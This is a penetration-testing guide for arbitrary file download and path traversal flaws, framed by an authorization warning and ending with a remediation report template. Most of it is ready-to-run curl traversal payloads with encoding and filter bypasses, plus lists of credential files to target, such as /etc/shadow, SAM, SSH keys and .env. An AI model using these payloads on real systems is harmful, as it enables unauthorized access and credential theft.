Arbitrary File Download Detection & Exploitation
Authorization Warning
DANGER: File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:
- Written permission from the target system owner
- Isolated testing environment
- Defined scope of testing
- Legal compliance with local regulations
Never test file download vulnerabilities on production systems without authorization.
Prerequisites
Required Tools
bash# Python 3 with requests library pip install requests # Optional: curl for manual testing # Built-in on most systems
Optional Tools
bash# Burp Suite for manual testing # OWASP ZAP for automated scanning # ffuf for parameter fuzzing
Quick Start
Basic Path Traversal Test
bash# Manual test with curl curl "https://target.com/download?file=../../../etc/passwd" # Using the automated tester python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"
Sensitive File Scanner
bash# Scan for sensitive files after confirming vulnerability python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
Common Scenarios
1. Basic Path Traversal Testing
Test for basic directory traversal vulnerabilities:
bash# Manual testing curl "https://target.com/download?file=../../../etc/passwd" curl "https://target.com/download?file=....//....//etc/passwd" # Automated testing python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"
What to check:
- Does the parameter accept
../sequences? - Can you access files outside the intended directory?
- What is the response when accessing system files?
Common payload patterns:
../../../etc/passwd ....//....//....//etc/passwd ..\..\..\..\windows\win.ini
2. URL Encoded Bypass
When basic traversal is blocked, try URL encoding:
bash# Single URL encoding curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # Double URL encoding curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
Encoding variations:
| Type | Payload |
|---|---|
| URL encoded | %2e%2e%2f |
| Double encoded | %252e%252e%252f |
| Mixed | ..%2f..%2f |
3. Null Byte Injection
When extension validation exists:
bash# Null byte to truncate extension check curl "https://target.com/download?file=../../../etc/passwd%00.jpg" curl "https://target.com/download?file=../../../etc/passwd%00.png"
Works against:
- Simple extension validation
- Some path sanitization filters
4. Unicode/Double Write Bypass
When standard payloads are filtered:
bash# Unicode encoding curl "https://target.com/download?file=..%c0%af..%c0%af..%c0%afetc/passwd" # Double write (....//) curl "https://target.com/download?file=....//....//....//etc/passwd" # Mixed separators curl "https://target.com/download?file=..%5c..%5c..%5cetc/passwd"
5. Sensitive File Discovery
After confirming vulnerability, discover sensitive files:
bash# Linux targets python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux # Windows targets python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os windows # Custom file list python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --wordlist custom_files.txt
High-value targets (Linux):
/etc/passwd - User accounts /etc/shadow - Password hashes (requires root) /etc/hosts - Host mappings /proc/self/environ - Environment variables /var/log/apache2/access.log - Access logs /home/user/.ssh/id_rsa - SSH private keys /var/www/html/config.php - Web app configs
High-value targets (Windows):
C:\Windows\win.ini - Windows configuration C:\Windows\System32\config\SAM - User accounts C:\inetpub\wwwroot\web.config - IIS configuration C:\Users\Administrator\.ssh\id_rsa - SSH keys
6. Application Config Discovery
Target web application configuration files:
bash# Common web app configs ../../../var/www/html/config.php ../../../var/www/html/wp-config.php ../../../app/config/database.yml ../../../.env ../../../web.config
Framework-specific paths:
| Framework | Config Path |
|---|---|
| WordPress | wp-config.php |
| Laravel | .env |
| Django | settings.py |
| ASP.NET | web.config |
| Spring | application.properties |
7. POST Request Testing
Test POST parameters for file download:
bash# Save request to file cat > request.txt << 'EOF' POST /download HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded file=document.pdf EOF # Test with curl curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"
8. Cookie/Header Testing
Test non-parameter injection points:
bash# Cookie parameter curl "https://target.com/download" --cookie "filename=../../../etc/passwd" # Custom header curl "https://target.com/download" -H "X-File-Path: ../../../etc/passwd" # Referer header curl "https://target.com/download" -H "Referer: https://target.com/?file=../../../etc/passwd"
Tool Selection Guide
| Scenario | Tool | Command |
|---|---|---|
| Quick manual test | curl | curl "URL?file=../../../etc/passwd" |
| Automated scanning | file_download_tester.py | python scripts/file_download_tester.py -u URL |
| Sensitive file scan | sensitive_file_scanner.py | python scripts/sensitive_file_scanner.py -u URL --os linux |
| Parameter fuzzing | ffuf | ffuf -u "URL?file=FUZZ" -w wordlist.txt |
| Custom payload test | curl | curl "URL?file=$(cat payload.txt)" |
Testing Checklist
Discovery Phase
- Identify all download endpoints (URL params, forms, API endpoints)
- Test basic path traversal (
../) - Check response headers for file type information
Bypass Testing
- URL encoding (
%2e%2e%2f) - Double URL encoding (
%252e%252e%252f) - Null byte injection (
%00) - Unicode encoding (
%c0%af) - Double write (
....//) - Mixed separators (
..\on Windows) - Path truncation
Sensitive File Testing
- Linux system files (
/etc/passwd,/etc/shadow) - Windows system files (
win.ini,SAM) - Application configs (
.env,config.php) - SSH keys (
id_rsa,authorized_keys) - Log files (access.log, error.log)
- Database files
Post-Exploitation
- Document all accessible files
- Identify sensitive data exposed
- Report severity based on data sensitivity
Resources
Scripts
scripts/file_download_tester.py- Automated vulnerability detectionscripts/sensitive_file_scanner.py- Sensitive file enumeration
Reference Documentation
references/bypass_techniques.md- Detailed bypass methodsreferences/sensitive_files.md- Comprehensive file lists
Assets/Wordlists
assets/traversal_payloads.txt- Path traversal payloadsassets/linux_sensitive_files.txt- Linux sensitive file pathsassets/windows_sensitive_files.txt- Windows sensitive file paths
External Resources
Reporting Format
When reporting file download vulnerabilities, include:
╔═══════════════════════════════════════════════════════╗ ║ File Download Vulnerability Report ║ ╠═══════════════════════════════════════════════════════╣ ║ Target: https://target.com/download ║ ║ Type: Path Traversal ║ ║ Severity: High ║ ╚═══════════════════════════════════════════════════════╝ Vulnerable Parameter: file Payload: ../../../etc/passwd Proof of Concept: curl "https://target.com/download?file=../../../etc/passwd" Files Confirmed Accessible: - /etc/passwd (user accounts) - /etc/hosts (network config) - /var/www/html/config.php (database credentials) Impact: - Access to sensitive system files - Exposure of database credentials - Potential for further exploitation Recommendations: - Implement strict path validation - Use allowlist for permitted files - Sanitize user input for path characters - Use chroot or container isolation
